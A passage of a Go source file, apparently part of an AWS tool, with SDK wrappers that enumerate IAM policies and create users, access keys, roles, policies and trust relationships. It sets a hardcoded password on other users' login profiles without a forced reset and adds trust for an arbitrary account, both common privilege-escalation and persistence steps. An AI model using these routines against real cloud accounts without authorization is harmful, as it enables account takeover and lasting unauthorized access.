Message from an error. 266 | fmt.Println(err.Error()) 267 | } 268 | return 269 | } 270 | 271 | fmt.Println(result) 272 | } 273 | 274 | func GetAccountAuthorizationDetails(sess *session.Session) []*iam.UserDetail { 275 | svc := iam.New(sess) 276 | 277 | user := "User" 278 | input := &iam.GetAccountAuthorizationDetailsInput{Filter: []*string{&user}} 279 | resp, err := svc.GetAccountAuthorizationDetails(input) 280 | if err != nil { 281 | fmt.Println("Got error getting account details") 282 | fmt.Println(err.Error()) 283 | } 284 | 285 | return resp.UserDetailList 286 | } 287 | 288 | func GetPolicy(sess *session.Session, arn string) { 289 | // Create a IAM service client. 290 | svc := iam.New(sess) 291 | 292 | result, err := svc.GetPolicy(&iam.GetPolicyInput{ 293 | PolicyArn: &arn, 294 | }) 295 | 296 | if err != nil { 297 | fmt.Println("Error", err) 298 | return 299 | } 300 | 301 | fmt.Printf("%s - %s - %s\n", arn, *result.Policy.Description, *result.Policy) 302 | } 303 | 304 | func GetPolicyVersion(sess *session.Session, arn string) string { 305 | // Create a IAM service client. 306 | svc := iam.New(sess) 307 | 308 | result, err := svc.GetPolicyVersion(&iam.GetPolicyVersionInput{ 309 | PolicyArn: &arn, 310 | VersionId: aws.String("v1"), 311 | }) 312 | 313 | if err != nil { 314 | fmt.Println("Error", err) 315 | return "" 316 | } 317 | 318 | //fmt.Printf("%s\n", *result.PolicyVersion.Document) 319 | decodedValue, err := url.QueryUnescape(aws.StringValue(result.PolicyVersion.Document)) 320 | if err != nil { 321 | log.Fatal(err) 322 | return "" 323 | } 324 | return decodedValue 325 | } 326 | 327 | func GetUserPolicy(sess *session.Session, username string, policy string) string { 328 | // Create a IAM service client. 329 | svc := iam.New(sess) 330 | 331 | result, err := svc.GetUserPolicy(&iam.GetUserPolicyInput{ 332 | UserName: aws.String(username), 333 | PolicyName: aws.String(policy), 334 | }) 335 | 336 | if err != nil { 337 | fmt.Println("Error", err) 338 | return "" 339 | } 340 | 341 | //fmt.Printf("%s\n", *result.PolicyVersion.Document) 342 | decodedValue, err := url.QueryUnescape(aws.StringValue(result.PolicyDocument)) 343 | if err != nil { 344 | log.Fatal(err) 345 | return "" 346 | } 347 | return decodedValue 348 | 349 | //data := []byte(decodedValue) 350 | } 351 | 352 | func GetGroupPolicy(sess *session.Session, group string, policy string) string { 353 | // Create a IAM service client. 354 | svc := iam.New(sess) 355 | 356 | result, err := svc.GetGroupPolicy(&iam.GetGroupPolicyInput{ 357 | GroupName: aws.String(group), 358 | PolicyName: aws.String(policy), 359 | }) 360 | 361 | if err != nil { 362 | fmt.Println("Error", err) 363 | return "" 364 | } 365 | 366 | //fmt.Printf("%s\n", *result.PolicyVersion.Document) 367 | decodedValue, err := url.QueryUnescape(aws.StringValue(result.PolicyDocument)) 368 | if err != nil { 369 | log.Fatal(err) 370 | return "" 371 | } 372 | return decodedValue 373 | 374 | //data := []byte(decodedValue) 375 | } 376 | 377 | func CreateAccessKey(sess *session.Session, username string) *iam.CreateAccessKeyOutput { 378 | svc := iam.New(sess) 379 | input := &iam.CreateAccessKeyInput{ 380 | UserName: aws.String(username), 381 | } 382 | 383 | result, err := svc.CreateAccessKey(input) 384 | if err != nil { 385 | if aerr, ok := err.(awserr.Error); ok { 386 | switch aerr.Code() { 387 | case iam.ErrCodeNoSuchEntityException: 388 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 389 | case iam.ErrCodeLimitExceededException: 390 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 391 | case iam.ErrCodeServiceFailureException: 392 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 393 | default: 394 | fmt.Println(aerr.Error()) 395 | } 396 | } else { 397 | // Print the error, cast err to awserr.Error to get the Code and 398 | // Message from an error. 399 | fmt.Println(err.Error()) 400 | } 401 | return nil 402 | } 403 | 404 | return result 405 | } 406 | 407 | func CreateInstanceProfile(sess *session.Session, name string) { 408 | svc := iam.New(sess) 409 | input := &iam.CreateInstanceProfileInput{ 410 | InstanceProfileName: aws.String(name), 411 | } 412 | 413 | result, err := svc.CreateInstanceProfile(input) 414 | if err != nil { 415 | if aerr, ok := err.(awserr.Error); ok { 416 | switch aerr.Code() { 417 | case iam.ErrCodeEntityAlreadyExistsException: 418 | fmt.Println(iam.ErrCodeEntityAlreadyExistsException, aerr.Error()) 419 | case iam.ErrCodeInvalidInputException: 420 | fmt.Println(iam.ErrCodeInvalidInputException, aerr.Error()) 421 | case iam.ErrCodeLimitExceededException: 422 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 423 | case iam.ErrCodeConcurrentModificationException: 424 | fmt.Println(iam.ErrCodeConcurrentModificationException, aerr.Error()) 425 | case iam.ErrCodeServiceFailureException: 426 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 427 | default: 428 | fmt.Println(aerr.Error()) 429 | } 430 | } else { 431 | // Print the error, cast err to awserr.Error to get the Code and 432 | // Message from an error. 433 | fmt.Println(err.Error()) 434 | } 435 | return 436 | } 437 | 438 | fmt.Println(result) 439 | } 440 | 441 | func GetRole(sess *session.Session, rolename string) *iam.GetRoleOutput { 442 | svc := iam.New(sess) 443 | input := &iam.GetRoleInput{ 444 | RoleName: aws.String(rolename), 445 | } 446 | 447 | result, err := svc.GetRole(input) 448 | if err != nil { 449 | if aerr, ok := err.(awserr.Error); ok { 450 | switch aerr.Code() { 451 | case iam.ErrCodeNoSuchEntityException: 452 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 453 | case iam.ErrCodeServiceFailureException: 454 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 455 | default: 456 | fmt.Println(aerr.Error()) 457 | } 458 | } else { 459 | // Print the error, cast err to awserr.Error to get the Code and 460 | // Message from an error. 461 | fmt.Println(err.Error()) 462 | } 463 | return nil 464 | } 465 | 466 | return result 467 | } 468 | 469 | func CreateRole(sess *session.Session, name string, policy string) string { 470 | 471 | svc := iam.New(sess) 472 | input := &iam.CreateRoleInput{ 473 | AssumeRolePolicyDocument: aws.String(policy), 474 | Path: aws.String("/"), 475 | RoleName: aws.String(name), 476 | } 477 | 478 | result, err := svc.CreateRole(input) 479 | if err != nil { 480 | if aerr, ok := err.(awserr.Error); ok { 481 | switch aerr.Code() { 482 | case iam.ErrCodeLimitExceededException: 483 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 484 | case iam.ErrCodeInvalidInputException: 485 | fmt.Println(iam.ErrCodeInvalidInputException, aerr.Error()) 486 | case iam.ErrCodeEntityAlreadyExistsException: 487 | fmt.Println(iam.ErrCodeEntityAlreadyExistsException, aerr.Error()) 488 | case iam.ErrCodeMalformedPolicyDocumentException: 489 | fmt.Println(iam.ErrCodeMalformedPolicyDocumentException, aerr.Error()) 490 | case iam.ErrCodeConcurrentModificationException: 491 | fmt.Println(iam.ErrCodeConcurrentModificationException, aerr.Error()) 492 | case iam.ErrCodeServiceFailureException: 493 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 494 | default: 495 | fmt.Println(aerr.Error()) 496 | } 497 | } else { 498 | // Print the error, cast err to awserr.Error to get the Code and 499 | // Message from an error. 500 | fmt.Println(err.Error()) 501 | } 502 | return "" 503 | } 504 | 505 | return *result.Role.Arn 506 | } 507 | 508 | func AttachRolePolicy(sess *session.Session, name string, policyArn string) { 509 | svc := iam.New(sess) 510 | input := &iam.AttachRolePolicyInput{ 511 | PolicyArn: aws.String(policyArn), 512 | RoleName: aws.String(name), 513 | } 514 | 515 | result, err := svc.AttachRolePolicy(input) 516 | if err != nil { 517 | if aerr, ok := err.(awserr.Error); ok { 518 | switch aerr.Code() { 519 | case iam.ErrCodeNoSuchEntityException: 520 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 521 | case iam.ErrCodeLimitExceededException: 522 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 523 | case iam.ErrCodeInvalidInputException: 524 | fmt.Println(iam.ErrCodeInvalidInputException, aerr.Error()) 525 | case iam.ErrCodeUnmodifiableEntityException: 526 | fmt.Println(iam.ErrCodeUnmodifiableEntityException, aerr.Error()) 527 | case iam.ErrCodePolicyNotAttachableException: 528 | fmt.Println(iam.ErrCodePolicyNotAttachableException, aerr.Error()) 529 | case iam.ErrCodeServiceFailureException: 530 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 531 | default: 532 | fmt.Println(aerr.Error()) 533 | } 534 | } else { 535 | // Print the error, cast err to awserr.Error to get the Code and 536 | // Message from an error. 537 | fmt.Println(err.Error()) 538 | } 539 | return 540 | } 541 | 542 | if len(result.String()) > 4 { 543 | fmt.Println(result.String()) 544 | } 545 | } 546 | 547 | func AddRoleToInstanceProfile(sess *session.Session, name string) { 548 | svc := iam.New(sess) 549 | input := &iam.AddRoleToInstanceProfileInput{ 550 | InstanceProfileName: aws.String(name), 551 | RoleName: aws.String(name), 552 | } 553 | 554 | result, err := svc.AddRoleToInstanceProfile(input) 555 | if err != nil { 556 | if aerr, ok := err.(awserr.Error); ok { 557 | switch aerr.Code() { 558 | case iam.ErrCodeNoSuchEntityException: 559 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 560 | case iam.ErrCodeEntityAlreadyExistsException: 561 | fmt.Println(iam.ErrCodeEntityAlreadyExistsException, aerr.Error()) 562 | case iam.ErrCodeLimitExceededException: 563 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 564 | case iam.ErrCodeUnmodifiableEntityException: 565 | fmt.Println(iam.ErrCodeUnmodifiableEntityException, aerr.Error()) 566 | case iam.ErrCodeServiceFailureException: 567 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 568 | default: 569 | fmt.Println(aerr.Error()) 570 | } 571 | } else { 572 | // Print the error, cast err to awserr.Error to get the Code and 573 | // Message from an error. 574 | fmt.Println(err.Error()) 575 | } 576 | return 577 | } 578 | 579 | if len(result.String()) > 4 { 580 | fmt.Println(result.String()) 581 | } 582 | } 583 | 584 | func GetInstanceProfile(sess *session.Session, profile string, hide bool) *iam.GetInstanceProfileOutput { 585 | svc := iam.New(sess) 586 | input := &iam.GetInstanceProfileInput{ 587 | InstanceProfileName: aws.String(profile), 588 | } 589 | 590 | result, err := svc.GetInstanceProfile(input) 591 | if err != nil { 592 | if aerr, ok := err.(awserr.Error); ok { 593 | switch aerr.Code() { 594 | case iam.ErrCodeNoSuchEntityException: 595 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 596 | case iam.ErrCodeServiceFailureException: 597 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 598 | default: 599 | fmt.Println(aerr.Error()) 600 | } 601 | } else { 602 | // Print the error, cast err to awserr.Error to get the Code and 603 | // Message from an error. 604 | fmt.Println(err.Error()) 605 | } 606 | return nil 607 | } 608 | if hide == false { 609 | fmt.Println(*result.InstanceProfile) 610 | } 611 | return result 612 | } 613 | 614 | func CreateUser(sess *session.Session, username string) bool { 615 | svc := iam.New(sess) 616 | input := &iam.CreateUserInput{ 617 | UserName: aws.String(username), 618 | } 619 | 620 | _, err := svc.CreateUser(input) 621 | if err != nil { 622 | if aerr, ok := err.(awserr.Error); ok { 623 | switch aerr.Code() { 624 | case iam.ErrCodeLimitExceededException: 625 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 626 | case iam.ErrCodeEntityAlreadyExistsException: 627 | fmt.Println(iam.ErrCodeEntityAlreadyExistsException, aerr.Error()) 628 | case iam.ErrCodeNoSuchEntityException: 629 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 630 | case iam.ErrCodeInvalidInputException: 631 | fmt.Println(iam.ErrCodeInvalidInputException, aerr.Error()) 632 | case iam.ErrCodeConcurrentModificationException: 633 | fmt.Println(iam.ErrCodeConcurrentModificationException, aerr.Error()) 634 | case iam.ErrCodeServiceFailureException: 635 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 636 | default: 637 | fmt.Println(aerr.Error()) 638 | } 639 | } else { 640 | // Print the error, cast err to awserr.Error to get the Code and 641 | // Message from an error. 642 | fmt.Println(err.Error()) 643 | } 644 | return false 645 | } 646 | 647 | return true 648 | } 649 | 650 | func AttachUserPolicy(sess *session.Session, username string, arn string) bool { 651 | svc := iam.New(sess) 652 | input := &iam.AttachUserPolicyInput{ 653 | PolicyArn: aws.String(arn), 654 | UserName: aws.String(username), 655 | } 656 | 657 | _, err := svc.AttachUserPolicy(input) 658 | if err != nil { 659 | if aerr, ok := err.(awserr.Error); ok { 660 | switch aerr.Code() { 661 | case iam.ErrCodeNoSuchEntityException: 662 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 663 | case iam.ErrCodeLimitExceededException: 664 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 665 | case iam.ErrCodeInvalidInputException: 666 | fmt.Println(iam.ErrCodeInvalidInputException, aerr.Error()) 667 | case iam.ErrCodePolicyNotAttachableException: 668 | fmt.Println(iam.ErrCodePolicyNotAttachableException, aerr.Error()) 669 | case iam.ErrCodeServiceFailureException: 670 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 671 | default: 672 | fmt.Println(aerr.Error()) 673 | } 674 | } else { 675 | // Print the error, cast err to awserr.Error to get the Code and 676 | // Message from an error. 677 | fmt.Println(err.Error()) 678 | } 679 | return false 680 | } 681 | 682 | return true 683 | } 684 | 685 | func TrustPolicyAWS(accountID string) string { 686 | var policy string 687 | 688 | policy = fmt.Sprintf(`{ 689 | "Version": "2012-10-17", 690 | "Statement": [ 691 | { 692 | "Effect": "Allow", 693 | "Principal": { 694 | "AWS": "arn:aws:iam::%s:root" 695 | }, 696 | "Action": "sts:AssumeRole", 697 | "Condition": {} 698 | } 699 | ] 700 | }`, accountID) 701 | return policy 702 | } 703 | 704 | func TrustPolicyService(service string) string { 705 | var policy string 706 | 707 | policy = fmt.Sprintf(`{ 708 | "Version": "2012-10-17", 709 | "Statement": [ 710 | { 711 | "Sid": "", 712 | "Effect": "Allow", 713 | "Principal": { 714 | "Service": "%s" 715 | }, 716 | "Action": "sts:AssumeRole" 717 | } 718 | ] 719 | }`, service) 720 | 721 | return policy 722 | } 723 | 724 | func CreatePolicy(sess *session.Session, name string, policy string) string { 725 | svc := iam.New(sess) 726 | input := &iam.CreatePolicyInput{ 727 | PolicyName: aws.String(name), 728 | PolicyDocument: aws.String(policy), 729 | } 730 | 731 | result, err := svc.CreatePolicy(input) 732 | if err != nil { 733 | if aerr, ok := err.(awserr.Error); ok { 734 | switch aerr.Code() { 735 | case iam.ErrCodeNoSuchEntityException: 736 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 737 | case iam.ErrCodeServiceFailureException: 738 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 739 | default: 740 | fmt.Println(aerr.Error()) 741 | } 742 | } else { 743 | // Print the error, cast err to awserr.Error to get the Code and 744 | // Message from an error. 745 | fmt.Println(err.Error()) 746 | } 747 | return "" 748 | } 749 | return *result.Policy.Arn 750 | } 751 | 752 | func UpdateAssumeRolePolicy(sess *session.Session, role string, policy string) { 753 | 754 | svc := iam.New(sess) 755 | input := &iam.UpdateAssumeRolePolicyInput{ 756 | PolicyDocument: aws.String(policy), 757 | RoleName: aws.String(role), 758 | } 759 | 760 | result, err := svc.UpdateAssumeRolePolicy(input) 761 | if err != nil { 762 | if aerr, ok := err.(awserr.Error); ok { 763 | switch aerr.Code() { 764 | case iam.ErrCodeNoSuchEntityException: 765 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 766 | case iam.ErrCodeServiceFailureException: 767 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 768 | default: 769 | fmt.Println(aerr.Error()) 770 | } 771 | } else { 772 | // Print the error, cast err to awserr.Error to get the Code and 773 | // Message from an error. 774 | fmt.Println(err.Error()) 775 | } 776 | return 777 | } 778 | if result.String() != "" { 779 | fmt.Println("Role updated") 780 | } 781 | } 782 | 783 | func AddUserToGroup(sess *session.Session, group string, user string) bool { 784 | svc := iam.New(session.New()) 785 | input := &iam.AddUserToGroupInput{ 786 | GroupName: aws.String(group), 787 | UserName: aws.String(user), 788 | } 789 | 790 | _, err := svc.AddUserToGroup(input) 791 | if err != nil { 792 | if aerr, ok := err.(awserr.Error); ok { 793 | switch aerr.Code() { 794 | case iam.ErrCodeNoSuchEntityException: 795 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 796 | case iam.ErrCodeLimitExceededException: 797 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 798 | case iam.ErrCodeServiceFailureException: 799 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 800 | default: 801 | fmt.Println(aerr.Error()) 802 | } 803 | } else { 804 | // Print the error, cast err to awserr.Error to get the Code and 805 | // Message from an error. 806 | fmt.Println(err.Error()) 807 | } 808 | return false 809 | } 810 | 811 | return true 812 | } 813 | 814 | func CreateLoginProfile(sess *session.Session, user string) (*iam.CreateLoginProfileOutput, string) { 815 | svc := iam.New(sess) 816 | password := "h]6EszR}vJ*m" 817 | input := &iam.CreateLoginProfileInput{ 818 | Password: aws.String(password), 819 | PasswordResetRequired: aws.Bool(false), 820 | UserName: aws.String(user), 821 | } 822 | 823 | result, err := svc.CreateLoginProfile(input) 824 | if err != nil { 825 | if aerr, ok := err.(awserr.Error); ok { 826 | switch aerr.Code() { 827 | case iam.ErrCodeEntityAlreadyExistsException: 828 | fmt.Println(iam.ErrCodeEntityAlreadyExistsException, aerr.Error()) 829 | case iam.ErrCodeNoSuchEntityException: 830 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 831 | case iam.ErrCodePasswordPolicyViolationException: 832 | fmt.Println(iam.ErrCodePasswordPolicyViolationException, aerr.Error()) 833 | case iam.ErrCodeLimitExceededException: 834 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 835 | case iam.ErrCodeServiceFailureException: 836 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 837 | default: 838 | fmt.Println(aerr.Error()) 839 | } 840 | } else { 841 | // Print the error, cast err to awserr.Error to get the Code and 842 | // Message from an error. 843 | fmt.Println(err.Error()) 844 | } 845 | return nil, "" 846 | } 847 | 848 | return result, password 849 | } 850 | 851 | func UpdateLoginProfile(sess *session.Session, user string) (*iam.UpdateLoginProfileOutput, string) { 852 | svc := iam.New(sess) 853 | password := "h]6EszR}vJ*m" 854 | input := &iam.UpdateLoginProfileInput{ 855 | Password: aws.String(password), 856 | PasswordResetRequired: aws.Bool(false), 857 | UserName: aws.String(user), 858 | } 859 | 860 | result, err := svc.UpdateLoginProfile(input) 861 | if err != nil { 862 | if aerr, ok := err.(awserr.Error); ok { 863 | switch aerr.Code() { 864 | case iam.ErrCodeEntityAlreadyExistsException: 865 | fmt.Println(iam.ErrCodeEntityAlreadyExistsException, aerr.Error()) 866 | case iam.ErrCodeNoSuchEntityException: 867 | fmt.Println(iam.ErrCodeNoSuchEntityException, aerr.Error()) 868 | case iam.ErrCodePasswordPolicyViolationException: 869 | fmt.Println(iam.ErrCodePasswordPolicyViolationException, aerr.Error()) 870 | case iam.ErrCodeLimitExceededException: 871 | fmt.Println(iam.ErrCodeLimitExceededException, aerr.Error()) 872 | case iam.ErrCodeServiceFailureException: 873 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 874 | default: 875 | fmt.Println(aerr.Error()) 876 | } 877 | } else { 878 | // Print the error, cast err to awserr.Error to get the Code and 879 | // Message from an error. 880 | fmt.Println(err.Error()) 881 | } 882 | return nil, "" 883 | } 884 | 885 | return result, password 886 | } 887 | 888 | func ListAccountAliases(sess *session.Session) { 889 | svc := iam.New(sess) 890 | input := &iam.ListAccountAliasesInput{} 891 | 892 | result, err := svc.ListAccountAliases(input) 893 | if err != nil { 894 | if aerr, ok := err.(awserr.Error); ok { 895 | switch aerr.Code() { 896 | case iam.ErrCodeServiceFailureException: 897 | fmt.Println(iam.ErrCodeServiceFailureException, aerr.Error()) 898 | default: 899 | fmt.Println(aerr.Error()) 900 | } 901 | } else { 902 | // Print the error, cast err to awserr.Error to get the Code and 903 | // Message from an error. 904 | fmt.Println(err.Error()) 905 | } 906 | return 907 | } 908 | 909 | fmt.Println(result) 910 | 911 | } 912 | 913 | func DescribeOrganization(sess *session.Session) { 914 | svc := organizations.New(sess) 915 | input := &organizations.DescribeOrganizationInput{} 916 | 917 | result, err := svc.DescribeOrganization(input) 918 | if err != nil { 919 | if aerr, ok := err.(awserr.Error); ok { 920 | switch aerr.Code() { 921 | case organizations.ErrCodeAccessDeniedException: 922 | fmt.Println(organizations.ErrCodeAccessDeniedException, aerr.Error()) 923 | case organizations.ErrCodeAWSOrganizationsNotInUseException: 924 | fmt.Println(organizations.ErrCodeAWSOrganizationsNotInUseException, aerr.Error()) 925 | case organizations.ErrCodeConcurrentModificationException: 926 | fmt.Println(organizations.ErrCodeConcurrentModificationException, aerr.Error()) 927 | case organizations.ErrCodeServiceException: 928 | fmt.Println(organizations.ErrCodeServiceException, aerr.Error()) 929 | case organizations.ErrCodeTooManyRequestsException: 930 | fmt.Println(organizations.ErrCodeTooManyRequestsException, aerr.Error()) 931 | default: 932 | fmt.Println(aerr.Error()) 933 | } 934 | } else { 935 | // Print the error, cast err to awserr.Error to get the Code and 936 | // Message from an error. 937 | fmt.Println(err.Error()) 938 | } 939 | return 940 | } 941 | 942 | fmt.Println(result) 943 | 944 | } 945 | 946 | func AssociateIamInstanceProfile(sess *session.Session, instance string, role string) { 947 | svc := ec2.New(sess) 948 | input := &ec2.AssociateIamInstanceProfileInput{ 949 | IamInstanceProfile: &ec2.IamInstanceProfileSpecification{ 950 | Name: aws.String(role), 951 | }, 952 | InstanceId: aws.String(instance), 953 | } 954 | 955 | result, err := svc.AssociateIamInstanceProfile(input) 956 | if err != nil { 957 | if aerr, ok := err.(awserr.Error); ok { 958 | switch aerr.Code() { 959 | default: 960 | fmt.Println(aerr.Error()) 961 | } 962 | } else { 963 | // Print the error, cast err to awserr.Error to get the Code and 964 | // Message from an error. 965 | fmt.Println(err.Error()) 966 | } 967 | return 968 | } 969 | 970 | fmt.Println(result) 971 | } 972 | 973 | func ListInstanceProfiles(sess *session.Session) { 974 | svc := iam.New(sess) 975 | input := &iam.ListInstanceProfilesInput{} 976 | 977 | result, err := svc.ListInstanceProfiles(input) 978 | if err != nil { 979 | if aerr, ok := err.(awserr.Error); ok { 980 | switch aerr.Code() { 981 | default: 982 | fmt.Println(aerr.Error()) 983 | } 984 | } else { 985 | // Print the error, cast err to awserr.Error to get the Code and 986 | // Message from an error. 987 | fmt.Println(err.Error()) 988 | } 989 | return 990 | } 991 | 992 | fmt.Println(result) 993 | } 994 | --------------------------------------------------------------------------------